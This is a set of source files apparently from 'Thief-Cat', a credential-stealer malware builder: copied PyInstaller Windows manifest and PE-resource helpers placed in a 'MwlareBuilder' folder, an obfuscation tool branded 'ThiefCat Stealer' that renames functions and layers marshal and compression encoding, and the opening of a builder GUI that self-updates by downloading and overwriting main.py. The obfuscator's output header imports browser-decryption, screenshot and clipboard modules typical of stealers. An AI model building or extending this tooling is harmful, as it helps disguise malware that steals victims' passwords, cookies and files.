      <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>
      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS>
      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS>
    </application>
  </compatibility>
  <application xmlns="urn:schemas-microsoft-com:asm.v3">
    <windowsSettings>
      <longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
    </windowsSettings>
  </application>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>
"""  # noqa: E501

#- DOM navigation helpers


def _find_elements_by_tag(root, tag):
    """
    Find all elements with given tag under the given root element.
    """
    return [node for node in root.childNodes if node.nodeType == xml.dom.Node.ELEMENT_NODE and node.tagName == tag]


def _find_element_by_tag(root, tag):
    """
    Attempt to find a single element with given tag under the given root element, and return None if no such element
    is found. Raises an error if multiple elements are found.
    """
    elements = _find_elements_by_tag(root, tag)
    if len(elements) > 1:
        raise ValueError(f"Expected a single {tag!r} element, found {len(elements)} element(s)!")
    if not elements:
        return None
    return elements[0]


#- Application manifest modification helpers


def _set_execution_level(manifest_dom, root_element, uac_admin=False, uac_uiaccess=False):
    """
    Find <security> -> <requestedPrivileges> -> <requestedExecutionLevel> element, and set its `level` and `uiAccess`
    attributes based on supplied arguments. Create the XML elements if necessary, as they are optional.
    """

    # <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    trust_info_element = _find_element_by_tag(root_element, "trustInfo")
    if not trust_info_element:
        trust_info_element = manifest_dom.createElement("trustInfo")
        trust_info_element.setAttribute("xmlns", "urn:schemas-microsoft-com:asm.v3")
        root_element.appendChild(trust_info_element)

    # <security>
    security_element = _find_element_by_tag(trust_info_element, "security")
    if not security_element:
        security_element = manifest_dom.createElement("security")
        trust_info_element.appendChild(security_element)

    # <requestedPrivileges>
    requested_privileges_element = _find_element_by_tag(security_element, "requestedPrivileges")
    if not requested_privileges_element:
        requested_privileges_element = manifest_dom.createElement("requestedPrivileges")
        security_element.appendChild(requested_privileges_element)

    # <requestedExecutionLevel>
    requested_execution_level_element = _find_element_by_tag(requested_privileges_element, "requestedExecutionLevel")
    if not requested_execution_level_element:
        requested_execution_level_element = manifest_dom.createElement("requestedExecutionLevel")
        requested_privileges_element.appendChild(requested_execution_level_element)

    requested_execution_level_element.setAttribute("level", "requireAdministrator" if uac_admin else "asInvoker")
    requested_execution_level_element.setAttribute("uiAccess", "true" if uac_uiaccess else "false")


def _ensure_common_controls_dependency(manifest_dom, root_element):
    """
    Scan <dependency> elements for the one whose <<dependentAssembly> -> <assemblyIdentity> corresponds to the
    `Microsoft.Windows.Common-Controls`. If found, overwrite its properties. If not, create new <dependency>
    element with corresponding sub-elements and attributes.
    """

    # <dependency>
    dependency_elements = _find_elements_by_tag(root_element, "dependency")
    for dependency_element in dependency_elements:
        # <dependentAssembly>
        dependent_assembly_element = _find_element_by_tag(dependency_element, "dependentAssembly")
        # <assemblyIdentity>
        assembly_identity_element = _find_element_by_tag(dependent_assembly_element, "assemblyIdentity")
        # Check the name attribute
        if assembly_identity_element.attributes["name"].value == "Microsoft.Windows.Common-Controls":
            common_controls_element = assembly_identity_element
            break
    else:
        # Create <dependency>
        dependency_element = manifest_dom.createElement("dependency")
        root_element.appendChild(dependency_element)
        # Create <dependentAssembly>
        dependent_assembly_element = manifest_dom.createElement("dependentAssembly")
        dependency_element.appendChild(dependent_assembly_element)
        # Create <assemblyIdentity>
        common_controls_element = manifest_dom.createElement("assemblyIdentity")
        dependent_assembly_element.appendChild(common_controls_element)

    common_controls_element.setAttribute("type", "win32")
    common_controls_element.setAttribute("name", "Microsoft.Windows.Common-Controls")
    common_controls_element.setAttribute("version", "6.0.0.0")
    common_controls_element.setAttribute("processorArchitecture", "*")
    common_controls_element.setAttribute("publicKeyToken", "6595b64144ccf1df")
    common_controls_element.setAttribute("language", "*")


def create_application_manifest(manifest_xml=None, uac_admin=False, uac_uiaccess=False):
    """
    Create application manifest, from built-in or custom manifest XML template. If provided, `manifest_xml` must be
    a string or byte string containing XML source. The returned manifest is a byte string, encoded in UTF-8.

    This function sets the attributes of `requestedExecutionLevel` based on provided `uac_admin` and `auc_uiacces`
    arguments (creating the parent elements in the XML, if necessary). It also scans `dependency` elements for the
    entry corresponding to `Microsoft.Windows.Common-Controls` and creates or modifies it as necessary.
    """

    if manifest_xml is None:
        manifest_xml = _DEFAULT_MANIFEST_XML

    with xml.dom.minidom.parseString(manifest_xml) as manifest_dom:
        root_element = manifest_dom.documentElement

        # Validate root element - must be <assembly>
        assert root_element.tagName == "assembly"
        assert root_element.namespaceURI == "urn:schemas-microsoft-com:asm.v1"
        assert root_element.attributes["manifestVersion"].value == "1.0"

        # Modify the manifest
        _set_execution_level(manifest_dom, root_element, uac_admin, uac_uiaccess)
        _ensure_common_controls_dependency(manifest_dom, root_element)

        # Create output XML
        output = manifest_dom.toprettyxml(indent="  ", encoding="UTF-8")

    # Strip extra newlines
    output = [line for line in output.splitlines() if line.strip()]

    # Replace: `<?xml version="1.0" encoding="UTF-8"?>` with `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>`.
    # Support for `standalone` was added to `toprettyxml` in python 3.9, so do a manual work around.
    output[0] = b"""<?xml version="1.0" encoding="UTF-8" standalone="yes"?>"""

    output = b"\n".join(output)

    return output


def write_manifest_to_executable(filename, manifest_xml):
    """
    Write the given manifest XML to the given executable's RT_MANIFEST resource.
    """
    from PyInstaller.utils.win32 import winresource

    # CREATEPROCESS_MANIFEST_RESOURCE_ID is used for manifest resource in executables.
    # ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used for manifest resources in DLLs.
    names = [CREATEPROCESS_MANIFEST_RESOURCE_ID]

    # Ensure LANG_NEUTRAL is updated, and also update any other present languages.
    languages = [LANG_NEUTRAL, "*"]

    winresource.add_or_update_resource(filename, manifest_xml, RT_MANIFEST, names, languages)


def read_manifest_from_executable(filename):
    """
    Read manifest from the given executable."
    """
    from PyInstaller.utils.win32 import winresource

    resources = winresource.get_resources(filename, [RT_MANIFEST])

    # `resources` is a three-level dictionary:
    #  - level 1: resource type (RT_MANIFEST)
    #  - level 2: resource name (CREATEPROCESS_MANIFEST_RESOURCE_ID)
    #  - level 3: resource language (LANG_NEUTRAL)

    # Level 1
    if RT_MANIFEST not in resources:
        raise ValueError(f"No RT_MANIFEST resources found in {filename!r}.")
    resources = resources[RT_MANIFEST]

    # Level 2
    if CREATEPROCESS_MANIFEST_RESOURCE_ID not in resources:
        raise ValueError(f"No RT_MANIFEST resource named CREATEPROCESS_MANIFEST_RESOURCE_ID found in {filename!r}.")
    resources = resources[CREATEPROCESS_MANIFEST_RESOURCE_ID]

    # Level 3
    # We prefer LANG_NEUTRAL, but allow fall back to the first available entry.
    if LANG_NEUTRAL in resources:
        resources = resources[LANG_NEUTRAL]
    else:
        resources = next(iter(resources.items()))

    manifest_xml = resources
    return manifest_xml

ThiefCat_assets/MwlareBuilder/utils/win32/winmanifest.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Read and write resources from/to Win32 PE files.
"""

import PyInstaller.log as logging
from PyInstaller.compat import pywintypes, win32api

logger = logging.getLogger(__name__)

LOAD_LIBRARY_AS_DATAFILE = 2
ERROR_BAD_EXE_FORMAT = 193
ERROR_RESOURCE_DATA_NOT_FOUND = 1812
ERROR_RESOURCE_TYPE_NOT_FOUND = 1813
ERROR_RESOURCE_NAME_NOT_FOUND = 1814
ERROR_RESOURCE_LANG_NOT_FOUND = 1815


def get_resources(filename, types=None, names=None, languages=None):
    """
    Retrieve resources from the given PE file.

    filename: path to the PE file.
    types: a list of resource types (integers or strings) to search for (None = all).
    names: a list of resource names (integers or strings) to search for (None = all).
    languages: a list of resource languages (integers) to search for (None = all).

    Returns a dictionary of the form {type: {name: {language: data}}}, which might also be empty if no matching
    resources were found.
    """
    types = set(types) if types is not None else {"*"}
    names = set(names) if names is not None else {"*"}
    languages = set(languages) if languages is not None else {"*"}

    output = {}

    # Errors codes for which we swallow exceptions
    _IGNORE_EXCEPTIONS = {
        ERROR_RESOURCE_DATA_NOT_FOUND,
        ERROR_RESOURCE_TYPE_NOT_FOUND,
        ERROR_RESOURCE_NAME_NOT_FOUND,
        ERROR_RESOURCE_LANG_NOT_FOUND,
    }

    # Open file
    module_handle = win32api.LoadLibraryEx(filename, 0, LOAD_LIBRARY_AS_DATAFILE)

    # Enumerate available resource types
    try:
        available_types = win32api.EnumResourceTypes(module_handle)
    except pywintypes.error as e:
        if e.args[0] not in _IGNORE_EXCEPTIONS:
            raise
        available_types = []

    if "*" not in types:
        available_types = [res_type for res_type in available_types if res_type in types]

    for res_type in available_types:
        # Enumerate available names for the resource type.
        try:
            available_names = win32api.EnumResourceNames(module_handle, res_type)
        except pywintypes.error as e:
            if e.args[0] not in _IGNORE_EXCEPTIONS:
                raise
            continue

        if "*" not in names:
            available_names = [res_name for res_name in available_names if res_name in names]

        for res_name in available_names:
            # Enumerate available languages for the resource type and name combination.
            try:
                available_languages = win32api.EnumResourceLanguages(module_handle, res_type, res_name)
            except pywintypes.error as e:
                if e.args[0] not in _IGNORE_EXCEPTIONS:
                    raise
                continue

            if "*" not in languages:
                available_languages = [res_lang for res_lang in available_languages if res_lang in languages]

            for res_lang in available_languages:
                # Read data
                try:
                    data = win32api.LoadResource(module_handle, res_type, res_name, res_lang)
                except pywintypes.error as e:
                    if e.args[0] not in _IGNORE_EXCEPTIONS:
                        raise
                    continue

                if res_type not in output:
                    output[res_type] = {}
                if res_name not in output[res_type]:
                    output[res_type][res_name] = {}
                output[res_type][res_name][res_lang] = data

    # Close file
    win32api.FreeLibrary(module_handle)

    return output


def add_or_update_resource(filename, data, res_type, names=None, languages=None):
    """
    Update or add a single resource in the PE file with the given binary data.

    filename: path to the PE file.
    data: binary data to write to the resource.
    res_type: resource type to add/update (integer or string).
    names: a list of resource names (integers or strings) to update (None = all).
    languages: a list of resource languages (integers) to update (None = all).
    """
    if res_type == "*":
        raise ValueError("res_type cannot be a wildcard (*)!")

    names = set(names) if names is not None else {"*"}
    languages = set(languages) if languages is not None else {"*"}

    # Retrieve existing resources, filtered by the given resource type and given resource names and languages.
    resources = get_resources(filename, [res_type], names, languages)

    # Add res_type, name, language combinations that are not already present
    resources = resources.get(res_type, {})  # This is now a {name: {language: data}} dictionary

    for res_name in names:
        if res_name == "*":
            continue
        if res_name not in resources:
            resources[res_name] = {}

        for res_lang in languages:
            if res_lang == "*":
                continue
            if res_lang not in resources[res_name]:
                resources[res_name][res_lang] = None  # Just an indicator

    # Add resource to the target file, overwriting the existing resources with same type, name, language combinations.
    module_handle = win32api.BeginUpdateResource(filename, 0)
    for res_name in resources.keys():
        for res_lang in resources[res_name].keys():
            win32api.UpdateResource(module_handle, res_type, res_name, data, language=res_lang)
    win32api.EndUpdateResource(module_handle, 0)


def copy_resources_from_pe_file(filename, src_filename, types=None, names=None, languages=None):
    """
    Update or add resources in the given PE file by copying them over from the specified source PE file.

    filename: path to the PE file.
    src_filename: path to the source PE file.
    types: a list of resource types (integers or strings) to add/update via copy for (None = all).
    names: a list of resource names (integers or strings) to add/update via copy (None = all).
    languages: a list of resource languages (integers) to add/update via copy (None = all).
    """
    types = set(types) if types is not None else {"*"}
    names = set(names) if names is not None else {"*"}
    languages = set(languages) if languages is not None else {"*"}

    # Retrieve existing resources, filtered by the given resource type and given resource names and languages.
    resources = get_resources(src_filename, types, names, languages)

    for res_type, resources_for_type in resources.items():
        if "*" not in types and res_type not in types:
            continue
        for res_name, resources_for_type_name in resources_for_type.items():
            if "*" not in names and res_name not in names:
                continue
            for res_lang, data in resources_for_type_name.items():
                if "*" not in languages and res_lang not in languages:
                    continue
                add_or_update_resource(filename, data, res_type, [res_name], [res_lang])


def remove_all_resources(filename):
    """
    Remove all resources from the given PE file:
    """
    module_handle = win32api.BeginUpdateResource(filename, True)  # bDeleteExistingResources=True
    win32api.EndUpdateResource(module_handle, False)

ThiefCat_assets/MwlareBuilder/utils/win32/winresource.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Utilities for Windows platform.
"""

from PyInstaller import compat


def get_windows_dir():
    """
    Return the Windows directory, e.g., C:\\Windows.
    """
    windir = compat.win32api.GetWindowsDirectory()
    if not windir:
        raise SystemExit("Error: Cannot determine Windows directory!")
    return windir


def get_system_path():
    """
    Return the required Windows system paths.
    """
    sys_dir = compat.win32api.GetSystemDirectory()
    # Ensure C:\Windows\system32  and C:\Windows directories are always present in PATH variable.
    # C:\Windows\system32 is valid even for 64-bit Windows. Access do DLLs are transparently redirected to
    # C:\Windows\syswow64 for 64bit applactions.
    # See http://msdn.microsoft.com/en-us/library/aa384187(v=vs.85).aspx
    return [sys_dir, get_windows_dir()]


def get_pe_file_machine_type(filename):
    """
    Return the machine type code from the header of the given PE file.
    """
    import pefile

    with pefile.PE(filename, fast_load=True) as pe:
        return pe.FILE_HEADER.Machine


def set_exe_build_timestamp(exe_path, timestamp):
    """
    Modifies the executable's build timestamp by updating values in the corresponding PE headers.
    """
    import pefile

    with pefile.PE(exe_path, fast_load=True) as pe:
        # Manually perform a full load. We need it to load all headers, but specifying it in the constructor triggers
        # byte statistics gathering that takes forever with large files. So we try to go around that...
        pe.full_load()

        # Set build timestamp.
        # See: https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps
        timestamp = int(timestamp)
        # Set timestamp field in FILE_HEADER
        pe.FILE_HEADER.TimeDateStamp = timestamp
        # MSVC-compiled executables contain (at least?) one DIRECTORY_ENTRY_DEBUG entry that also contains timestamp
        # with same value as set in FILE_HEADER. So modify that as well, as long as it is set.
        debug_entries = getattr(pe, 'DIRECTORY_ENTRY_DEBUG', [])
        for debug_entry in debug_entries:
            if debug_entry.struct.TimeDateStamp:
                debug_entry.struct.TimeDateStamp = timestamp

        # Generate updated EXE data
        data = pe.write()

    # Rewrite the exe
    with open(exe_path, 'wb') as fp:
        fp.write(data)


def update_exe_pe_checksum(exe_path):
    """
    Compute the executable's PE checksum, and write it to PE headers.

    This optional checksum is supposed to protect the executable against corruption but some anti-viral software have
    taken to flagging anything without it set correctly as malware. See issue #5579.
    """
    import pefile

    # Compute checksum using our equivalent of the MapFileAndCheckSumW - for large files, it is significantly faster
    # than pure-pyton pefile.PE.generate_checksum(). However, it requires the file to be on disk (i.e., cannot operate
    # on a memory buffer).
    try:
        checksum = compute_exe_pe_checksum(exe_path)
    except Exception as e:
        raise RuntimeError("Failed to compute PE checksum!") from e

    # Update the checksum
    with pefile.PE(exe_path, fast_load=True) as pe:
        pe.OPTIONAL_HEADER.CheckSum = checksum

        # Generate updated EXE data
        data = pe.write()

    # Rewrite the exe
    with open(exe_path, 'wb') as fp:
        fp.write(data)


def compute_exe_pe_checksum(exe_path):
    """
    This is a replacement for the MapFileAndCheckSumW function. As noted in MSDN documentation, the Microsoft's
    implementation of MapFileAndCheckSumW internally calls its ASCII variant (MapFileAndCheckSumA), and therefore
    cannot handle paths that contain characters that are not representable in the current code page.
    See: https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-mapfileandchecksumw

    This function is based on Wine's implementation of MapFileAndCheckSumW, and due to being based entirely on
    the pure widechar-API functions, it is not limited by the current code page.
    """
    # ctypes bindings for relevant win32 API functions
    import ctypes
    from ctypes import windll, wintypes

    INVALID_HANDLE = wintypes.HANDLE(-1).value

    GetLastError = ctypes.windll.kernel32.GetLastError
    GetLastError.argtypes = ()
    GetLastError.restype = wintypes.DWORD

    CloseHandle = windll.kernel32.CloseHandle
    CloseHandle.argtypes = (
        wintypes.HANDLE,  # hObject
    )
    CloseHandle.restype = wintypes.BOOL

    CreateFileW = windll.kernel32.CreateFileW
    CreateFileW.argtypes = (
        wintypes.LPCWSTR,  # lpFileName
        wintypes.DWORD,  # dwDesiredAccess
        wintypes.DWORD,  # dwShareMode
        wintypes.LPVOID,  # lpSecurityAttributes
        wintypes.DWORD,  # dwCreationDisposition
        wintypes.DWORD,  # dwFlagsAndAttributes
        wintypes.HANDLE,  # hTemplateFile
    )
    CreateFileW.restype = wintypes.HANDLE

    CreateFileMappingW = windll.kernel32.CreateFileMappingW
    CreateFileMappingW.argtypes = (
        wintypes.HANDLE,  # hFile
        wintypes.LPVOID,  # lpSecurityAttributes
        wintypes.DWORD,  # flProtect
        wintypes.DWORD,  # dwMaximumSizeHigh
        wintypes.DWORD,  # dwMaximumSizeLow
        wintypes.LPCWSTR,  # lpName
    )
    CreateFileMappingW.restype = wintypes.HANDLE

    MapViewOfFile = windll.kernel32.MapViewOfFile
    MapViewOfFile.argtypes = (
        wintypes.HANDLE,  # hFileMappingObject
        wintypes.DWORD,  # dwDesiredAccess
        wintypes.DWORD,  # dwFileOffsetHigh
        wintypes.DWORD,  # dwFileOffsetLow
        wintypes.DWORD,  # dwNumberOfBytesToMap
    )
    MapViewOfFile.restype = wintypes.LPVOID

    UnmapViewOfFile = windll.kernel32.UnmapViewOfFile
    UnmapViewOfFile.argtypes = (
        wintypes.LPCVOID,  # lpBaseAddress
    )
    UnmapViewOfFile.restype = wintypes.BOOL

    GetFileSizeEx = windll.kernel32.GetFileSizeEx
    GetFileSizeEx.argtypes = (
        wintypes.HANDLE,  # hFile
        wintypes.PLARGE_INTEGER,  # lpFileSize
    )

    CheckSumMappedFile = windll.imagehlp.CheckSumMappedFile
    CheckSumMappedFile.argtypes = (
        wintypes.LPVOID,  # BaseAddress
        wintypes.DWORD,  # FileLength
        wintypes.PDWORD,  # HeaderSum
        wintypes.PDWORD,  # CheckSum
    )
    CheckSumMappedFile.restype = wintypes.LPVOID

    # Open file
    hFile = CreateFileW(
        ctypes.c_wchar_p(exe_path),
        0x80000000,  # dwDesiredAccess = GENERIC_READ
        0x00000001 | 0x00000002,  # dwShareMode = FILE_SHARE_READ | FILE_SHARE_WRITE,
        None,  # lpSecurityAttributes = NULL
        3,  # dwCreationDisposition = OPEN_EXISTING
        0x80,  # dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
        None  # hTemplateFile = NULL
    )
    if hFile == INVALID_HANDLE:
        err = GetLastError()
        raise RuntimeError(f"Failed to open file {exe_path}! Error code: {err}")

    # Query file size
    fileLength = wintypes.LARGE_INTEGER(0)
    if GetFileSizeEx(hFile, fileLength) == 0:
        err = GetLastError()
        CloseHandle(hFile)
        raise RuntimeError(f"Failed to query file size file! Error code: {err}")
    fileLength = fileLength.value
    if fileLength > (2**32 - 1):
        raise RuntimeError("Executable size exceeds maximum allowed executable size on Windows (4 GiB)!")

    # Map the file
    hMapping = CreateFileMappingW(
        hFile,
        None,  # lpFileMappingAttributes = NULL
        0x02,  # flProtect = PAGE_READONLY
        0,  # dwMaximumSizeHigh = 0
        0,  # dwMaximumSizeLow = 0
        None  # lpName = NULL
    )
    if not hMapping:
        err = GetLastError()
        CloseHandle(hFile)
        raise RuntimeError(f"Failed to map file! Error code: {err}")

    # Create map view
    baseAddress = MapViewOfFile(
        hMapping,
        4,  # dwDesiredAccess = FILE_MAP_READ
        0,  # dwFileOffsetHigh = 0
        0,  # dwFileOffsetLow = 0
        0  # dwNumberOfBytesToMap = 0
    )
    if baseAddress == 0:
        err = GetLastError()
        CloseHandle(hMapping)
        CloseHandle(hFile)
        raise RuntimeError(f"Failed to create map view! Error code: {err}")

    # Finally, compute the checksum
    headerSum = wintypes.DWORD(0)
    checkSum = wintypes.DWORD(0)
    ret = CheckSumMappedFile(baseAddress, fileLength, ctypes.byref(headerSum), ctypes.byref(checkSum))
    if ret is None:
        err = GetLastError()

    # Cleanup
    UnmapViewOfFile(baseAddress)
    CloseHandle(hMapping)
    CloseHandle(hFile)

    if ret is None:
        raise RuntimeError(f"CheckSumMappedFile failed! Error code: {err}")

    return checkSum.value

ThiefCat_assets/MwlareBuilder/utils/win32/winutils.py
KSCH-58/Thief-Cat
import os
import sys
import subprocess
import argparse
import random
import time
import marshal
import lzma
import gzip
import bz2
import binascii
import zlib
import string
import re
import keyword
import random

def prett(text):
    return text.title().center(os.get_terminal_size().columns)
try:
    import tqdm
    import colorama
    import pyfiglet
except ModuleNotFoundError:
    if os.name == 'nt':
        _ = 'python'
    else:
        _ = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
    if subprocess.run([_, '-m', 'pip', 'install', '-r', 'requirements.txt']).returncode == 0:
        exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
    elif subprocess.run(['pip3', 'install', '-r', 'requirements.txt']).returncode == 0:
        exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
    else:
        exit('\x1b[1m\x1b[31m' + prett('[!] something error occured while installing dependencies\n maybe pip isn\'t installed or requirements.txt file not available?'))
BLU = colorama.Style.BRIGHT + colorama.Fore.BLUE
CYA = colorama.Style.BRIGHT + colorama.Fore.CYAN
GRE = colorama.Style.BRIGHT + colorama.Fore.GREEN
YEL = colorama.Style.BRIGHT + colorama.Fore.YELLOW
RED = colorama.Style.BRIGHT + colorama.Fore.RED
MAG = colorama.Style.BRIGHT + colorama.Fore.MAGENTA
LIYEL = colorama.Style.BRIGHT + colorama.Fore.LIGHTYELLOW_EX
LIRED = colorama.Style.BRIGHT + colorama.Fore.LIGHTRED_EX
LIMAG = colorama.Style.BRIGHT + colorama.Fore.LIGHTMAGENTA_EX
LIBLU = colorama.Style.BRIGHT + colorama.Fore.LIGHTBLUE_EX
LICYA = colorama.Style.BRIGHT + colorama.Fore.LIGHTCYAN_EX
LIGRE = colorama.Style.BRIGHT + colorama.Fore.LIGHTGREEN_EX
CLEAR = 'cls' if os.name == 'nt' else 'clear'
COLORS = BLU, CYA, GRE, YEL, RED, MAG, LIYEL, LIRED, LIMAG, LIBLU, LICYA, LIGRE
FONTS = 'basic', 'o8', 'cosmic', 'graffiti', 'chunky', 'epic', 'poison', 'doom', 'avatar'
PYTHON_VERSION = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
colorama.init(autoreset=True)



def generate_random_name():
    length = random.randint(8, 15)
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for _ in range(length))

def is_valid_identifier(name):
    return name.isidentifier() and not keyword.iskeyword(name)

def obfuscate_code(source_code:str, whitelist:list) -> str:
    function_names = set(re.findall(r'def\s+(\w+)', source_code))
    user_function_names = [name for name in function_names if is_valid_identifier(name) and name not in whitelist]

    for function_name in user_function_names:
        new_name = generate_random_name()
        source_code = re.sub(r'\b{}\b'.format(function_name), new_name, source_code)
    obfuscated_code = source_code

    return obfuscated_code



def encode(source:str) -> str:
    selected_mode = random.choice((lzma, gzip, bz2, binascii, zlib))
    marshal_encoded = marshal.dumps(compile(source, 'KthiefScatCH', 'exec'))
    if selected_mode is binascii:
        encoded = binascii.b2a_base64(marshal_encoded)
    else:
        encoded = selected_mode.compress(marshal_encoded)
    if selected_mode is binascii:
        TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(binascii.a2b_base64({})))'
        return TMP.format(encoded)
    else:
        TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads({}.decompress({})))'
        return TMP.format(selected_mode.__name__, encoded)

def logo() -> None:
    os.system(CLEAR)
    font = random.choice(FONTS)
    color1 = random.choice(COLORS)
    color2 = random.choice(COLORS)
    while color1 == color2:
        color2 = random.choice(COLORS)
    print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)
    print(color2 + pyfiglet.figlet_format(
        'ThiefCat\nStealer',
        font=font,
        justify='center',
        width=os.get_terminal_size().columns),
        end=''
        )
    print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)

def parse_args():
    parser = argparse.ArgumentParser(description='obfuscate python programs'.title())
    parser._optionals.title = "syntax".title()
    parser.add_argument(
        '-r','--recursion',
        default=False,
        required=False,
        help="recursion encoding by using this flag you will get x2 obfuscation strength".title(),
        dest='r',
        action='store_true')
    parser.add_argument('-i', '--input', type=str, help='input file name'.title(), required=True)
    parser.add_argument('-o', '--output', type=str, help='output file name'.title(), required=True)
    parser.add_argument('-s', '--strength', type=int,
                        help='strengthness of obfuscation. 100 recomended'.title(), required=True)
    if len(sys.argv)==1:
        parser.print_help()
        exit()
    return parser.parse_args()





def main():
    args = parse_args()
    print(random.choice(COLORS) + '\t[+] encoding '.title() + args.input)
    if not(args.r):
        print(random.choice(COLORS) + '\t[!] you haven\'t selected the recursion mode'.title())
    with tqdm.tqdm(total=args.strength) as pbar:
        with open(args.input) as input:
            whitelist = ['decode', 'run', 'start', 'replace', 'encode', '__main__', '__init__']
            input1 = obfuscate_code(input.read(), whitelist)
            if args.r:
                for i in range(args.strength):
                    if i == 0:
                        encoded = encode(source=input1)
                    else:
                        encoded = encode(source=encode(source=encoded))
                    time.sleep(0.1)
                    pbar.update(1)
            else:
                for i in range(args.strength):
                    if i == 0:
                        encoded = encode(source=input1)
                    else:
                        encoded = encode(source=encoded)
                    time.sleep(0.1)
                    pbar.update(1)
    with open(args.output, 'w') as output:
        output.write(f"import asyncio, sys, json, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, base64, requests, ctypes, time, pyperclip, locale, win32gui, win32con, win32api, win32process, cv2;from urllib.parse import urlparse;from configparser import ConfigParser;from tempfile import gettempdir, mkdtemp;from base64 import b64decode;from datetime import datetime, timedelta, timezone;from sys import argv;from ctypes import c_char_p, c_int, c_uint32, c_void_p, c_uint;from Crypto.Cipher import AES;from win32crypt import CryptUnprotectData;from subprocess import CREATE_NEW_CONSOLE, Popen, PIPE;from PIL import ImageGrab\n\ntry:\n\t{encoded}\nexcept KeyboardInterrupt:\n\tpass"
)
    print(LIGRE + '\t[+] encoding successful!\n\tsaved as '.title() + args.output)
if __name__ == '__main__':
    logo()
    main()

ThiefCat_assets/obfuscation/obfuscation.py
KSCH-58/Thief-Cat
import customtkinter
from customtkinter import filedialog as fd
import os
from PIL import Image
import requests
import time
import shutil
import webbrowser
import win32gui
import win32con
import base64
from pypresence import Presence
import json
import threading
import sys


custom_username = ""  

###################################################################################################################################
############################################ Clean@Builder: v9 ####################################################################
############################################ Clean@Author: https://github.com/NolayDscd ###########################################
############################################ Clean@Code: For Thief Cat ############################################################
###################################################################################################################################

# DISCORD RPC
try:
    client_id = '1125787771324342312'
    RPC = Presence(client_id)
    RPC.connect()
except:
    pass

def update():
     try:
        RPC.update(state=data['state'],
        details=data['details'],
        large_image=data['large_image'],
        small_image=data['small_image'],
        buttons=data['buttons'],
        start=data['time'])
     except:
         pass

data = {
     'state':"with Thief Cat",
     'details':"Rebuild the world",
     'large_image': ("https://raw.githubusercontent.com/meccksch/cerf/main/assets/d95it6h-ceaa1da3-727a-402f-8061-9a0a8e68af13.gif"),
     'large_text':None, 
     'small_image':"thiefcat",
     'small_text':None, 
     'buttons':[{"label": "Github", "url": "https://github.com/KSCH-58"}, {"label": "Telegram", "url": "https://t.me/+WvJrz6yv5AxkYjY8"}],
     'time': 1
      }
update()

def rpcloop():
    while True:
        try:
            update()
        except:
            pass
        time.sleep(20)

try:
    folder_path = "./ThiefCat_assets/bind"
    shutil.rmtree(folder_path)
    os.makedirs(os.path.join("ThiefCat_assets", "bind"), exist_ok=True)
    print("Folder /bind cleared.")
except:
    os.makedirs(os.path.join("ThiefCat_assets", "bind"), exist_ok=True)
    pass



class release():
    api_url = "https://api.github.com/repos/KSCH-58/Thief-Cat/releases/latest"
    response = requests.get(api_url)
    main_script = requests.get("https://raw.githubusercontent.com/KSCH-58/Thief-Cat/main/main.py").text

    if response.status_code == 200:

        latest_release = response.json()
        tag_name = latest_release["tag_name"]

        with open("./ThiefCat_assets/version/config.json", "r") as config_file:
            config_data = json.load(config_file)
            release_version = config_data["release"]

        if release_version != tag_name:
            print("Release found.")
            config_data["release"] = tag_name
            with open("./ThiefCat_assets/version/config.json", "w") as config_file:
                json.dump(config_data, config_file)
            print("[ Updated ] :  config.json")
            with open("main.py", "w", encoding="utf-8", newline="") as main_file:
                main_file.write(main_script.rstrip('\r\n'))
            print("[ Updated ] :  main.py")
    else:
        print("Request Failed: ", response.status_code)


###Main script
class ThiefCat(customtkinter.CTk):
    def __init__(self):
        self.icon_name = ""
        self.pingtype = "none"
        self.iconname = "ThiefCat_assets\img\\thiefcat.ico"
        self.bind_name = ""
        self.executable_name = ""
        self.bind_check = "no"
        self.hide = "no"
        self.icb = "no"

        super().__init__()
        self.protocol("WM_DELETE_WINDOW", self.on_close)

        #title, icon
        self.title("Thief Cat - Builder")
        self.geometry("820x580")
        self.iconbitmap("ThiefCat_assets\img\logo.ico")

        #base
        self.grid_rowconfigure(0, weight=1)
        self.grid_columnconfigure(1, weight=1)

        #path img
        image_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "ThiefCat_assets\img")
        self.logo = customtkinter.CTkImage(Image.open(os.path.join(image_path, "logo.png")), size=(80, 80))
